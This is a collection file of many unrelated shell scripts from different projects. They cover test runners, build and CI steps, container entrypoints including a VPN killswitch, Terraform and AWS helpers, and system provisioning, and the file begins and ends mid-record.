version.\"\n printf \"\\n--cli_path {PATH}\\n\\tPath to built CLI to test. Default is local built one.\"\n printf \"\\n--deploy_uri {URI}\\n\\tUrl or Path to operator 'deploy' folder. Default is local 'deploy/' folder.\"\n printf \"\\n--services_image_version\\n\\tSet the services image version. Default to current operator version\"\n printf \"\\n--maven_mirror {URI}\\n\\tMaven mirror url to be used when building app in the tests.\"\n printf \"\\n--build_image_version\\n\\tSet the build image version. Default to current operator version\"\n printf \"\\n--build_image_tag\\n\\tSet the build image full tag.\"\n printf \"\\n--build_s2i_image_tag \\n\\tSet the S2I build image full tag.\"\n printf \"\\n--build_runtime_image_tag \\n\\tSet the Runtime build image full tag.\"\n printf \"\\n--examples_uri ${URI}\\n\\tSet the URI for the kogito-examples repository. Default is https://github.com/kiegroup/kogito-examples.\"\n printf \"\\n--examples_ref ${REF}\\n\\tSet the branch for the kogito-examples repository. Default is none.\"\n\n # Dev options\n printf \"\\n--show_scenarios\\n\\tDisplay scenarios which will be executed.\"\n printf \"\\n--disabled_crds_update\\n\\tDisabled the update of CRDs.\"\n printf \"\\n--dry_run ${REF}\\n\\tExecute a dry run of the tests, disabled crds updates and display the scenarios which would be executed.\"\n printf \"\\n--keep_namespace\\n\\tDo not delete namespace(s) after scenario run (WARNING: can be resources consuming ...).\"\n printf \"\\n\"\n}\n\nfunction download_remote_crds(){\n deploy_folder=${1}\n url=${2}\n echo \"Download crd files into '${deploy_folder}' from ${url}\"\n\n mkdir -p \"${deploy_folder}/crds\"\n for file in ${CRD_FILES_TO_IMPORT[*]}\n do\n curl -k -o \"${deploy_folder}/crds/${file}\" \"${url}/crds/${file}\"\n done\n}\n\nfunction apply_crds(){\n deploy_folder=${1}\n for file in ${CRD_FILES_TO_IMPORT[*]}\n do\n crd_file=\"${deploy_folder}/crds/${file}\"\n echo \"Apply crds file ${crd_file}\"\n oc replace -f ${crd_file}\n done\n}\n\nfunction addParam(){\n PARAMS=\"${PARAMS} ${1}\"\n}\n\nfunction addParamKeyValueIfAccepted(){\n key=${1}\n value=${2}\n if isValueNotOption ${value}; then \n if isValueNotEmpty ${value}; then\n addParam \"${key}=${value}\"\n fi\n return 0\n fi\n return 1\n}\n\nfunction isValueNotOption(){\n if [[ ! ${1} =~ ^-.* ]]; then \n return 0\n fi\n return 1\n}\n\nfunction isValueNotEmpty(){\n if [[ ! -z \"${1}\" ]]; then \n return 0\n fi; \n return 1\n}\n\nPARAMS=\"\"\nTAGS=\"\" # tags are parsed independently as there could be whitespace to be handled correctly\nFEATURE=\"\"\nTIMEOUT=240\nDEBUG=false\nCRDS_UPDATE=true\n\nwhile (( $# ))\ndo\ncase $1 in\n --feature)\n shift\n if isValueNotOption ${1}; then\n if isValueNotEmpty ${1}; then\n FEATURE=${1}\n fi\n shift\n fi\n ;;\n --tags)\n shift\n if isValueNotOption ${1}; then\n if isValueNotEmpty ${1}; then\n TAGS=\"${1}\"\n fi\n shift\n fi\n ;;\n --concurrent)\n shift\n if addParamKeyValueIfAccepted \"--godog.concurrency\" ${1}; then shift; fi\n ;;\n --timeout)\n shift\n if isValueNotOption ${1}; then\n if isValueNotEmpty ${1}; then\n TIMEOUT=${1}\n fi\n shift\n fi\n ;;\n --debug)\n shift\n if isValueNotOption ${1}; then\n if isValueNotEmpty ${1}; then\n if [[ \"${1}\" = \"true\" ]]; then\n DEBUG=true\n fi\n fi\n shift\n fi\n ;;\n --local)\n shift\n if isValueNotOption ${1}; then\n if isValueNotEmpty ${1}; then\n if [[ \"${1}\" = \"true\" ]]; then\n addParam \"--tests.local\"\n fi\n fi\n shift\n fi\n ;;\n --ci)\n shift\n if addParamKeyValueIfAccepted \"--tests.ci\" ${1}; then shift; fi\n ;;\n --smoke)\n shift\n if isValueNotOption ${1}; then\n if isValueNotEmpty ${1}; then\n if [[ \"${1}\" = \"true\" ]]; then\n addParam \"--tests.smoke\"\n fi\n fi\n shift\n fi\n ;;\n --operator_image)\n shift\n if addParamKeyValueIfAccepted \"--tests.operator-image-name\" ${1}; then shift; fi\n ;;\n --operator_tag)\n shift\n if addParamKeyValueIfAccepted \"--tests.operator-image-tag\" ${1}; then shift; fi\n ;;\n --cli_path)\n shift\n if addParamKeyValueIfAccepted \"--tests.cli-path\" ${1}; then shift; fi\n ;;\n --deploy_uri)\n shift\n if addParamKeyValueIfAccepted \"--tests.operator-deploy-uri\" ${1}; then shift; fi\n ;;\n --services_image_version)\n shift\n if addParamKeyValueIfAccepted \"--tests.services-image-version\" ${1}; then shift; fi\n ;;\n --maven_mirror)\n shift\n if addParamKeyValueIfAccepted \"--tests.maven-mirror-url\" ${1}; then shift; fi\n ;;\n --build_image_version)\n shift\n if addParamKeyValueIfAccepted \"--tests.build-image-version\" ${1}; then shift; fi\n ;;\n --build_s2i_image_tag)\n shift\n if addParamKeyValueIfAccepted \"--tests.build-s2i-image-tag\" ${1}; then shift; fi\n ;;\n --build_runtime_image_tag)\n shift\n if addParamKeyValueIfAccepted \"--tests.build-runtime-image-tag\" ${1}; then shift; fi\n ;;\n --examples_uri)\n shift\n if addParamKeyValueIfAccepted \"--tests.examples-uri\" ${1}; then shift; fi\n ;;\n --examples_ref)\n shift\n if addParamKeyValueIfAccepted \"--tests.examples-ref\" ${1}; then shift; fi\n ;;\n --show_scenarios)\n shift\n addParam \"--tests.show-scenarios\"\n ;;\n --disabled_crds_update)\n CRDS_UPDATE=false\n shift\n ;;\n --dry_run)\n CRDS_UPDATE=false\n addParam \"--tests.show-scenarios\"\n addParam \"--tests.dry-run\"\n shift\n ;;\n --keep_namespace)\n shift\n addParam \"--tests.keep-namespace\"\n ;;\n -h|--help)\n usage\n exit 0\n ;;\n *)\n echo \"Unknown arguments: ${1}\"\n usage\n exit 1\n ;;\nesac\ndone\n\nif ${CRDS_UPDATE}; then\n echo \"-------- Apply CRD files\"\n\n deploy_folder=\"${SCRIPT_DIR}/../deploy\"\n if [[ ! -z \"${OPERATOR_DEPLOY_FOLDER}\" ]]; then \n # Get crds files from URI if \n if [[ ${OPERATOR_DEPLOY_FOLDER} == http://* ]] || [[ ${OPERATOR_DEPLOY_FOLDER} == https://* ]]; then\n url=${OPERATOR_DEPLOY_FOLDER}\n deploy_folder=`mktemp -d`\n download_remote_crds ${deploy_folder} ${url}\n else\n deploy_folder=\"${OPERATOR_DEPLOY_FOLDER}\"\n fi\n fi\n apply_crds ${deploy_folder}\nfi\n\necho \"-------- Running BDD tests\"\n\necho \"DEBUG=${DEBUG} go test ./test -v -timeout \\\"${TIMEOUT}m\\\" --godog.tags=\\\"${TAGS}\\\" ${PARAMS} ${FEATURE}\"\nDEBUG=${DEBUG} go test ./test -v -timeout \"${TIMEOUT}m\" --godog.tags=\"${TAGS}\" ${PARAMS} ${FEATURE}\nexit_code=$?\necho \"Tests finished with code ${exit_code}\"\n\nif ${CRDS_UPDATE}; then\n echo \"-------- Set back master CRD files\"\n\n deploy_folder=`mktemp -d`\n download_remote_crds ${deploy_folder} ${MASTER_RAW_URL}\n apply_crds ${deploy_folder}\nfi\n\nexit ${exit_code}"} {"text": "set -ex\n\n\n\nnosetests --verbosity=3 pygraphviz/tests\nconda inspect linkages -p $PREFIX $PKG_NAME\nexit 0"} {"text": "#!/bin/bash\n#cd ./snort3-pigasus/src/pigasus/pcie/kernel/linux/\n#sudo ./install\n#cd \n#taskset --cpu-list 0 ./run_full.sh\nfor i in {0..31}\ndo\n taskset --cpu-list $i ./run_full.sh > res$i &\n\n #echo \"Welcome $i times\"\ndone\n#taskset --cpu-list 0 ./run_full.sh > res0 &\n#taskset --cpu-list 1 ./run_full.sh > res1 &\n#taskset --cpu-list 2 ./run_full.sh > res2 &\n#taskset --cpu-list 3 ./run_full.sh > res3 &\n#taskset --cpu-list 4 ./run_full.sh > res4 &\n#taskset --cpu-list 5 ./run_full.sh > res5 &\n#taskset --cpu-list 6 ./run_full.sh > res6 &\n#taskset --cpu-list 7 ./run_full.sh > res7 &"} {"text": "scripts/build.sh\n#!/bin/bash\n\ncmake ../src\nmake"} {"text": "#!/bin/bash\n#searches for `cwrap('` plus the next word, then gets everything in the word after the ' , then prepends an underscore and quotes it\nquoted_functions=($(grep -o \"cwrap('\\(\\w\\+\\)\" post.js | cut -d\"'\" -f2 | awk '{ print \"\\\"_\" $1 \"\\\"\" }'))\nIFS=, #We change the IFS to turn the array from `\"_funca\" \"_funcb\" ` to `\"_funca\",\"_funcb\"`\necho \"[${quoted_functions[*]}]\""} {"text": "#!/bin/bash\n\n# This script runs in docker container\n\nbundle install\n\n# bundle exec rake db:setup\n# RAILS_ENV=test bundle exec rake db:setup\n\n# bundle exec rspec\n\nbundle exec rails s -b 0.0.0.0 && echo 'Listening on http://:3000'"} {"text": "#!/bin/bash\nmvn -P fat-jar clean package\ncd target\njar=\"cultures-language-server-*-SNAPSHOT.jar\"\n\nmkdir package || true\n\necho \"Generating minimal jvm...\"\njlink --add-modules java.base,java.logging,java.xml,jdk.unsupported,java.sql,java.naming,java.desktop,java.management,java.security.jgss,java.instrument,jdk.management --no-header-files --no-man-pages --strip-debug --compress 2 --output package/jre\npwd\necho \"Copying jar...\"\ncp $jar package/server.jar\n\ncd .."} {"text": "microbug/docker-cryptostorm-client1-10\n#!/usr/bin/env bash\n\n\n# Check that $PORT is set and it is a number less than 65536\ncase $CONNECTION_PORT in\n ''|*[!0-9]*)\n echo \"Specified connection port $CONNECTION_PORT is not a number, exiting\"\n exit 1\n ;;\n *) ;;\nesac\n\nif [ \"$CONNECTION_PORT\" -gt \"65535\" ]; then\n echo \"Specified connection port $CONNECTION_PORT is greater than the maximum (65535), exiting\"\n exit 2\nfi\n\n\ncase $FORWARDING_PORT in\n ''|*[!0-9]*)\n echo \"Specified forwarding port $FORWARDING_PORT is not a number, exiting\"\n exit 1\n ;;\n *) ;;\nesac\n\n\nif [[ \"$FORWARDING_PORT\" != \"0\" ]] ; then\n if [[ \"$FORWARDING_PORT\" -lt \"30000\" || \"$FORWARDING_PORT\" -gt \"65535\" ]] ; then\n echo \"Specified forwarding port $FORWARDING_PORT is outside the allowed range of 30000-65535, exiting\"\n exit 3\n fi\nfi\n\n\ninitial_ip=$(curl -s api.ipify.org)\n\n# Start the VPN in the background\n/start-vpn.sh &\n\necho \"KILLSWITCH: captured initial IP ($initial_ip), now sleeping for $KILLSWITCH_ACTIVATION_TIME seconds.\"\n\nsleep $KILLSWITCH_ACTIVATION_TIME\n\nif [[ \"$FORWARDING_PORT\" != \"0\" ]] ; then\n echo \"FORWARDING: Attempting port forwarding for port $FORWARDING_PORT\"\n curl -X POST -s -d port=\"$FORWARDING_PORT\" http://10.31.33.7/fwd\nfi\n\nwhile true; do\n current_ip=$(curl -s api.ipify.org)\n\n if [ \"$current_ip\" == \"$initial_ip\" ]; then\n echo \"KILLSWITCH: !!! current IP ($current_ip) matches initial IP! Terminating container.\"\n killall openvpn &\n sleep 2 # Give openvpn a little time to inform the server it is disconnecting\n exit 1\n else\n echo \"KILLSWITCH: current IP ($current_ip) different from initial IP ($initial_ip). Everything is OK.\"\n fi\n\n sleep $KILLSWITCH_CHECK_INTERVAL\ndone"} {"text": "#!/usr/bin/env bash\n\n# Polypocket - https://github.com/xxyy/polypocket\n# Consult the LICENSE and README.md files for more info.\n\n# Write new files with rw permissions for owner and group\n# and read-only for others. This is useful for config\n# files where other users of the same group may need to\n# edit them, for example via SFTP.\numask 002\n\n# --- Configuration is done in config.sh\nif ! [ -r config.sh ]; then\n >&2 echo \"$0: Please copy template-config.sh to config.sh and configure Polypocket.\"\n exit 1\nfi\n# config.sh calls the global config defaults file\n# to make up for any new, not-yet-configured properties.\nsource config.sh\n\necho \"Updating start script for next execution...\"\ncp $POLYPOCKET/start.sh start.sh\n\necho \"Updating $SERVER_JAR from $UPSTREAM_SERVER_JAR...\"\ncp $UPSTREAM_SERVER_JAR $SERVER_JAR\n\necho \"Updating plugins in $PLUGINS_FOLDER from $UPSTREAM_PLUGINS_FOLDER...\"\nmkdir -p $PLUGINS_FOLDER\n#r...recursive, v...verbose,t...preserve times,\n#u...update (skip files with newer or equal mtime),c...update based on checksum\n#L...copy links as files\nrsync -rtvucL --progress $UPSTREAM_PLUGINS_FOLDER $PLUGINS_FOLDER\n\n# Try to kill dead previous instance\nPID_FILE=\"mc.pid\"\nif [ \"$KILL_IF_PID\" = true ] && [ -r \"$PID_FILE\" ]; then\n PREV_PID=$(cat $PID_FILE)\n echo \"A previous instance was not stopped cleanly - Killing PID $PREV_PID.\"\n if kill -0 $PREV_PID; then\n # It refused to kill itself, so we got to murder it\n if kill -9 $PREV_PID; then\n echo \"Killed $PREV_PID.\"\n else\n echo \"Failed to kill $PREV_PID...exiting!\"\n exit 1\n fi\n else\n echo \"Already dead. Nice!\"\n rm mc.pid\n fi\nfi\n\necho 'Starting server...'\n\n# Note that this is Polypocket's PID\n# Finding the Minecraft PID would be a little more complicated.\nMC_PID=\"$$\"\necho \"My PID is $MC_PID\"\necho \"$MC_PID\" >mc.pid\n\n# Flags in order:\n# Set servername system property, actually for easy identification in htop\n# Use new G1 Garbage Collector, better performance and all than default\n# Limit GC pauses to prevent lag spikes on GC\n# Required for RemoteToolkit apparently\n# Use UTF-8 as default encoding - solves issues with config files and basically everything\n# Limit memory allocation\n\njava \\\n -Dservername=$SERVER_NAME \\\n -XX:+UseG1GC \\\n -XX:MaxGCPauseMillis=50 \\\n -Djline.terminal=jline.UnsupportedTerminal \\\n -Dfile.encoding=UTF-8 \\\n -Xmx$MAX_MEMORY \\\n -jar $SERVER_JAR\n\n# oh no we're dead rip\necho \"Server exited! (PID: $MC_PID)\"\nrm mc.pid\n\n# This is why you need a wrapper script"} {"text": "#!/bin/bash\n\necho \"*********** Create or select workspace\"\nif [ $(terraform workspace list | grep -c \"$1\") -eq 0 ] ; then\n echo \"Create new workspace $1\"\n terraform workspace new \"$1\" -no-color\nelse\n echo \"Switch to workspace $1\"\n terraform workspace select \"$1\" -no-color\nfi"} {"text": "#!/bin/bash\n\nkubectl apply -f https://github.com/nats-io/nats-operator/releases/latest/download/00-prereqs.yaml\nkubectl apply -f https://github.com/nats-io/nats-operator/releases/latest/download/10-deployment.yaml\nkubectl apply -f nats.yaml"} {"text": "train_scripts/sim10k2cityscape_sample.sh\n#!/bin/sh\nCUDA_VISIBLE_DEVICES=$1 python trainval_net_global_local.py --cuda --net vgg16 --dataset sim10k --dataset_t cityscape_car --gc --lc --save_dir $2"} {"text": "build.sh\npushd lib/xspublic && make -j4 && popd\ncatkin build --this\nsource ../../devel/setup.bash"} {"text": "aws_terraform_create_s3_bucket.sh\n#!/usr/bin/env bash\n# vim:ts=4:sts=4:sw=4:et\n# args: haritest-terraform-state\n#\n# Author: \n# Date: 2022-05-27 18:03:32 +0100 (Fri, 27 May 2022)\n#\n# https://github.com/HariSekhon/DevOps-Bash-tools\n#\n# License: see accompanying Hari Sekhon LICENSE file\n#\n# If you're using my code you're welcome to connect with me on LinkedIn and optionally send me feedback to help steer this or other code I publish\n#\n# https://www.linkedin.com/in/HariSekhon\n#\n\nset -euo pipefail\n[ -n \"${DEBUG:-}\" ] && set -x\nsrcdir=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\n\n# shellcheck disable=SC1090\n. \"$srcdir/lib/aws.sh\"\n\n# shellcheck disable=SC2034,SC2154\nusage_description=\"\nCreates an S3 bucket for storing Terraform state with the following optimizations:\n\n- Enables Versioning\n- Enables Encryption\n- Enables Versioning\n- Enables Server Side Encryption\n- Creates Bucket Policy to lock out:\n - Power Users role\n - any additional given user/group/role ARNs (optional)\n\nIdempotent: skips bucket creation if already exists, applies versioning, encryption, and applies bucket policy if none exists of if \\$OVERWRITE_BUCKET_POLICY is set to any value\n\nRegion: will create the bucket in your configured region, to override locally set \\$AWS_DEFAULT_REGION\n\n\n$usage_aws_cli_required\n\"\n\n# used by usage() in lib/utils.sh\n# shellcheck disable=SC2034\nusage_args=\" []\"\n\nhelp_usage \"$@\"\n\nmin_args 1 \"$@\"\n\nbucket=\"$1\"\nshift || :\n\ntimestamp \"Checking for Power User role\"\npower_user_arn=\"$(aws iam list-roles | jq -r '.Roles[].Arn' | grep -i AWSPowerUserAccess || :)\"\nif [ -n \"$power_user_arn\" ]; then\n timestamp \"Power User role ARN found: $power_user_arn\"\nfi\necho >&2\n\n\"$srcdir/aws_s3_bucket.sh\" \"$bucket\" \"$@\" ${power_user_arn:+\"$power_user_arn\"}"} {"text": "MKPJ_IMG=gcr.io/k8s-prow/mkpj:v20200609-a3503f2207\nMKPOD_IMG=gcr.io/k8s-prow/mkpod:v20200609-a3503f2207"} {"text": "#!/bin/bash\n\ncd db\nrm papers.db\n./create-database.sh\ncd ..\n\nrm static/memory/pdfs/*\nrm static/memory/previews/*\nmkdir -p static/memory/pdfs\nmkdir -p static/memory/previews\nmkdir -p logs"} {"text": "#!/bin/bash\n\n# update\nsudo apt -y update\n\n# upgrade\nsudo apt -y upgrade\n\n# install utilities\nsudo apt -y install vim curl wget\n\n# git\nsudo apt -y install git\n\n# openjdk-8\nsudo apt -y install openjdk-8-jdk"} {"text": "#!/usr/bin/env bash\n#\n# Use this script to load a SQL database dump into a temporary database.\n# This is useful for testing database migrations.\n\n#Get the dir that this script lives in, no matter where it is called from\nreadonly SCRIPT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nsource $SCRIPT_DIR/../utilities.sh\n\ndetermineHostAddress\n\nreadonly SQL_DUMP_FILE=$1\nreadonly DATABASE_NAME=$3\n\n# Location of migration\nreadonly WORKING_DIR=~/.stroom/migrationTest/jars\nreadonly TEMP_DB_ROOT_PW=\n\necho \"Deleting any existing migration MySQL DB\"\ndocker rm -f stroom-migration-test-db\n\necho \"Starting a Docker MySQL instance to test migration of ${DATABASE_NAME} with ${SQL_DUMP_FILE}.\"\n\necho \"Starting a new MySQL container for testing migration\"\ndocker run -p 5506:3306 --name stroom-migration-test-db --health-cmd='mysqladmin ping --silent' --health-interval=10s -e MYSQL_ROOT_PASSWORD=${_ROOT_PW} -d mysql:8.0.23\n\nwaitContainer stroom-migration-test-db\necho \"Database ready\"\n\necho \"Uploading the SQL Dump file into the Migration MySQL DB\"\ncat ${SQL_DUMP_FILE} | docker exec -i stroom-migration-test-db mysql -u\"root\" -p\"${TEMP_DB_ROOT_PW}\"\n\necho \"SQL dump loaded into database in container stroom-migration-test-db\""} {"text": "peter-mount/dockerjenkins/src/main/scripts/config-jenkins.sh0\n#!/bin/ash\n\n# /opt/jenkins is available for the workspace work files\nif [ ! -d /opt/jenkins ]\nthen\n mkdir -p /opt/jenkins\n chown jenkins:jenkins /opt/jenkins\nfi\n\n# If docker socket is present then ensure we have permission to access it\nif [ -S /var/run/docker.sock ]\nthen\n gid=$(ls -ln /var/run/docker.sock | sed -re \"s/ +/ /g\" | cut -f4 -d' ')\n addgroup -g $gid docker 2>/dev/null\n gn=$(grep \":${gid}:\" /etc/group|cut -f1 -d':')\n adduser root \"$gn\"\n adduser jenkins \"$gn\"\nfi\n\n# Bug JENKINS-32542 I found I hit this bug suddenly then found JENKINS-29674 mentioned\n# about the loopback used by maven and the slave. Adding this seems (as I write this)\n# to fix this bug.\n#\n# Now we have to do this at container startup as the host file is replaced by docker\n# everytime the container is started.\necho \"127.0.0.1 dockerhost\" >>/etc/hosts"} {"text": "# Where does stuff come from\n\nmyRoot=/home/cmsprod\npkgRoot=/home/cmsprod/Tools\n\n# Other packages needed\nsource $pkgRoot/Dools/setup.sh\nsource $pkgRoot/FiBS/setup.sh\nsource $pkgRoot/T2Tools/setup.sh paus paus\n\n# Kraken parameters (edit as needed)\n\n# for the agents\nexport KRAKEN_USER=paus\nexport KRAKEN_GROUP=zh\n\nexport KRAKEN_BASE=$pkgRoot/Kraken\nexport KRAKEN_ACTIVITY=cms\nexport KRAKEN_WORK=$myRoot/cms/jobs\nexport KRAKEN_INIT=/cvmfs/cms.cern.ch/cmsset_default.sh\nexport KRAKEN_SCRIPT=releaseKraken.sh\nexport KRAKEN_SW=$myRoot/$KRAKEN_ACTIVITY/${KRAKEN_ACTIVITY}sw\nexport KRAKEN_EXE=cmsRun\nexport KRAKEN_CMSSW=$myRoot/cms/cmssw\nexport KRAKEN_REMOTE_USER=paus # user for submit (can be different from Tier-3)\n\nexport KRAKEN_SE_BASE=/cms/store/user/paus\nexport KRAKEN_CATALOG_INPUT=/home/submit/paus/catalog/t2mit\nexport KRAKEN_CATALOG_OUTPUT=/home/submit/paus/catalog/t2mit\nexport KRAKEN_TMP_PREFIX='tmp_0_'\nexport KRAKEN_CONDOR_REQ=\"\" # overwrite only to fix the requirement (not recommended)\nexport KRAKEN_ERROR_DB=$KRAKEN_BASE/config/heldErrors.db\n\nexport PATH=${PATH}:${KRAKEN_BASE}/bin\nexport PYTHONPATH=${PYTHONPATH}:${KRAKEN_BASE}/python"} {"text": "0\n#!/usr/bin/env bash\n\nset -e\n\nexport DEBIAN_FRONTEND=noninteractive\n\necho \"upgrading system\"\nsudo apt-get update\nsudo apt-get -y upgrade\n\necho \"Installing Git\"\nsudo apt-get -y install git\n\necho \"Installing Go\"\n\nwget -q https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gz\n\nsudo tar -C /usr/local -xzf go1.9.2.linux-amd64.tar.gz\n\necho \"Installing Go Tools\"\n\nsudo mkdir -p /go/bin\nsudo mkdir -p /go/src\nsudo mkdir -p /go/pkg\n\nsudo chown -R ubuntu:ubuntu /go\n\necho \"export PATH=$PATH:/usr/local/go/bin:/go/bin\" | sudo tee /etc/profile.d/go.sh\necho \"export GOPATH=/go\" | sudo tee -a /etc/profile.d/go.sh\n\nsudo chmod 755 /etc/profile.d/go.sh\n\n. /etc/profile.d/go.sh\n\necho \"Installing App\"\nPKG=\"github.com/nikogura/guestbook\"\n\ngo get $PKG\n\nCONFIG=$(cat <\" <>\n# *\n# * This source file is subject to the MIT license that is bundled\n# * with this source code in the file LICENSE.\n# */\n\n#/**\n# * conky\n# * widget gnome system monitor\n# *\n# * @category themes\n# * @license MIT\n# * @link https://askubuntu.com/questions/1014263/is-there-any-widget-that-can-show-my-cpu-and-other-performances-live\n# */\n\nCURDIR=$(dirname \"$(realpath \"${BASH_SOURCE[0]}\")\")\n# shellcheck source=/dev/null\n. \"${CURDIR}/../tools/src/colors/colors.sh\"\n\nCONFIG_DIR=\"${CURDIR}/../config\"\n\necho_info 'sudo apt-get install --assume-yes conky'\nsudo apt-get install --assume-yes conky\n\n# # autostart\n# cat > ~/.config/autostart/conky.desktop <kramanathan01/.dotfiles\n#!/bin/sh\n[ \"$(uname -s)\" != \"Darwin\" ] && exit 0\nln -sf \"$DOTFILES\"/map/local.map.plist ~/Library/LaunchAgents/local.map.plist\nlaunchctl load -w ~/Library/LaunchAgents/local.map.plist"} {"text": "#!/bin/bash\nOutFileName=\"../data/users_content.csv\" # Fix the output name\ni=0 # Reset a counter\nfor filename in ../data/features/tmp/*.csv; do\n if [ \"$filename\" != \"$OutFileName\" ] ; # Avoid recursion\n then\n if [[ $i -eq 0 ]] ; then\n head -1 $filename > $OutFileName # Copy header if it is the first file\n fi\n tail -n +2 $filename >> $OutFileName # Append from the 2nd line each file\n i=$(( $i + 1 )) # Increase the counter\n fi\ndone\nOutFileName=\"../data/users_content2.csv\" # Fix the output name\ni=0 # Reset a counter\nfor filename in ../data/features/tmp2/*.csv; do\n if [ \"$filename\" != \"$OutFileName\" ] ; # Avoid recursion\n then\n if [[ $i -eq 0 ]] ; then\n head -1 $filename > $OutFileName # Copy header if it is the first file\n fi\n tail -n +2 $filename >> $OutFileName # Append from the 2nd line each file\n i=$(( $i + 1 )) # Increase the counter\n fi\ndone"} {"text": "laurenkosub/wormhole-noc\n#!/bin/bash\n# Alters DE2-115 on Helena\n#COM_PORT=/dev/serial/by-id/usb-FTDI_FT232R_USB_UART_A700aiK5-if00-port0\n# Xilinx ML605 on Helena\nCOM_PORT=/dev/serial/by-id/usb-Silicon_Labs_CP2103_USB_to_UART_Bridge_Controller_0001-if00-port0\n\ncd ~/t-crest/patmos\nnumfailures=0\nfailures=\"\"\nnumnotcomp=0\nnotcomp=\"\"\nnumexclude=0\n\nexclude_app=\"memtest_cmp memtest_cmp2 nocinit16 nocinit9 nocinit4 nocinit\"\n\necho \"==> Configuring FPGA\";\necho\nmake -C ../aegean config > /dev/null\n\nfor f in `git ls-files ./c/cmp/*.c`; do\n\ts=${f##*/};\n\tapp=${s%.*};\n\tif [[ \" ${exclude_app} \" =~ \" ${app} \" ]]; then\n\t\tnumexclude=$((numexclude+1));\n\t\tcontinue;\n\tfi\n\techo \"\"\n\techo \"==> Compiling ${app}\";\n\tmake comp APP=${app} > /dev/null\n\tcomp=$?\n\tif (( \"comp\" > \"0\" )); then\n\t\techo \"\"\n\t\techo \"==> ${app} Did not compile\";\n\t\tnumnotcomp=$((numnotcomp+1));\n\t\tnotcomp+=\" ${app}\"\n\t\tcontinue;\n\tfi\n\techo \"==> Executing ${app}\";\n\techo \"\"\n\tpatserdow ${COM_PORT} tmp/${app}.elf;\n\tres=$?;\n\tif (( \"$res\" > \"0\" )); then\n\t\tnumfailures=$((numfailures+1));\n\t\tfailures+=\" ${app}\"\n\t\techo \"\"\n\t\techo \"==> ${app} failed\"\n\tfi\ndone\n\nnumtests=$(git ls-files ./c/cmp/*.c | wc -l)\n\necho \"\"\necho \"===================================\"\necho \"== ${numtests} Tests found\"\necho \"== ${numexclude} Tests excluded\"\nif (( \"$numnotcomp\" > \"0\" )); then\n\techo \"== $numnotcomp Tests not compiling\"\n\techo \"== Not compiling: $notcomp\"\nelse\n\techo \"== All test compiled\"\nfi\nif (( \"$numfailures\" > \"0\" )); then\n\techo \"== $numfailures Tests failing\"\n\techo \"== Failing: $failures\"\nelse\n\techo \"== All test passed\"\nfi\necho \"===================================\""} {"text": "#!/bin/bash\nset -e\nsource_root=\"$(dirname \"$(readlink -f \"$0\")\")\"\nfiles=\"$@\"\nif ! [[ \"${files[0]}\" ]]; then\n\tfiles=($(git diff master --name-only --relative | grep -E 'py$'))\nfi\nset -x\nyapf --parallel --in-place --style \"${source_root}\"/.style.yapf \"${files[@]}\"\nautopep8 --jobs 0 --in-place --aggressive --aggressive \\\n\t--global-config \"${source_root}\"/.autopep8-config \"${files[@]}\""} {"text": "#!/usr/bin/env bash\n\ndocker build -t howinator/k60m-02-pods .\ndocker push howinator/k60m-02-pods"} {"text": "#!/bin/bash\n\nset -e\n\nsource ~/devstack/openrc admin admin\n\nimage_name=\"Admin Image Shared With Demo Project\"\nimage_file=$( cd \"$(dirname \"$0\")\" ; pwd -P )\"/\"$(basename \"$0\")\n\n(set -x; openstack image create --container-format bare --disk-format raw --file \"$image_file\" \"$image_name\")\n\nimage_id=`openstack image show \"$image_name\" -c id -f value`\ndemo_project_id=`openstack project show demo -c id -f value`\n\n(set -x; glance member-create \"$image_id\" \"$demo_project_id\")\n\nsource ~/devstack/openrc admin demo\n\n(set -x; glance member-update \"$image_id\" \"$demo_project_id\" accepted)\n\nopenstack image list\n\n(set -x; glance member-list --image-id \"$image_id\")"} {"text": "set -ex\n\nif [[ \"$COMMIT_SOURCE\" == master ]]; then\n export BUCKET_NAME=pytorch-tutorial-build-master\nelse\n export BUCKET_NAME=pytorch-tutorial-build-pull-request\nfi\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null && pwd )\"\n\nsudo apt-get update\nsudo apt-get install -y --no-install-recommends unzip p7zip-full sox libsox-dev libsox-fmt-all rsync\n\nexport PATH=/opt/conda/bin:$PATH\nrm -rf src\npip install -r $DIR/../requirements.txt\n\nexport PATH=/opt/conda/bin:$PATH\npip install sphinx==1.8.2 pandas\n\n# install awscli\n# pip uninstall awscli\n# pip install awscli==1.16.35\n\n# PyTorch Theme\nrm -rf src\npip install -e git+git://github.com/pytorch/pytorch_sphinx_theme.git#egg=pytorch_sphinx_theme\n# pillow >= 4.2 will throw error when trying to write mode RGBA as JPEG,\n# this is a workaround to the issue.\npip install sphinx-gallery==0.3.1 tqdm matplotlib ipython pillow==4.1.1\n\n# Install torchaudio from source\ngit clone https://github.com/pytorch/audio --quiet\npushd audio\npython setup.py install\npopd\n\naws configure set default.s3.multipart_threshold 5120MB\n\n# Decide whether to parallelize tutorial builds, based on $JOB_BASE_NAME\nexport NUM_WORKERS=20\nif [[ \"${JOB_BASE_NAME}\" == *worker_* ]]; then\n # Step 1: Remove runnable code from tutorials that are not supposed to be run\n python $DIR/remove_runnable_code.py beginner_source/aws_distributed_training_tutorial.py beginner_source/aws_distributed_training_tutorial.py || true\n # TODO: Fix bugs in these tutorials to make them runnable again\n python $DIR/remove_runnable_code.py beginner_source/audio_classifier_tutorial.py beginner_source/audio_classifier_tutorial.py || true\n\n # Step 2: Keep certain tutorials based on file count, and remove runnable code in all other tutorials\n # IMPORTANT NOTE: We assume that each tutorial has a UNIQUE filename.\n export WORKER_ID=$(echo \"${JOB_BASE_NAME}\" | tr -dc '0-9')\n count=0\n FILES_TO_RUN=()\n for filename in $(find beginner_source/ -name '*.py' -not -path '*/data/*'); do\n if [ $(($count % $NUM_WORKERS)) != $WORKER_ID ]; then\n echo \"Removing runnable code from \"$filename\n python $DIR/remove_runnable_code.py $filename $filename\n else\n echo \"Keeping \"$filename\n FILES_TO_RUN+=($(basename $filename .py))\n fi\n count=$((count+1))\n done\n for filename in $(find intermediate_source/ -name '*.py' -not -path '*/data/*'); do\n if [ $(($count % $NUM_WORKERS)) != $WORKER_ID ]; then\n echo \"Removing runnable code from \"$filename\n python $DIR/remove_runnable_code.py $filename $filename\n else\n echo \"Keeping \"$filename\n FILES_TO_RUN+=($(basename $filename .py))\n fi\n 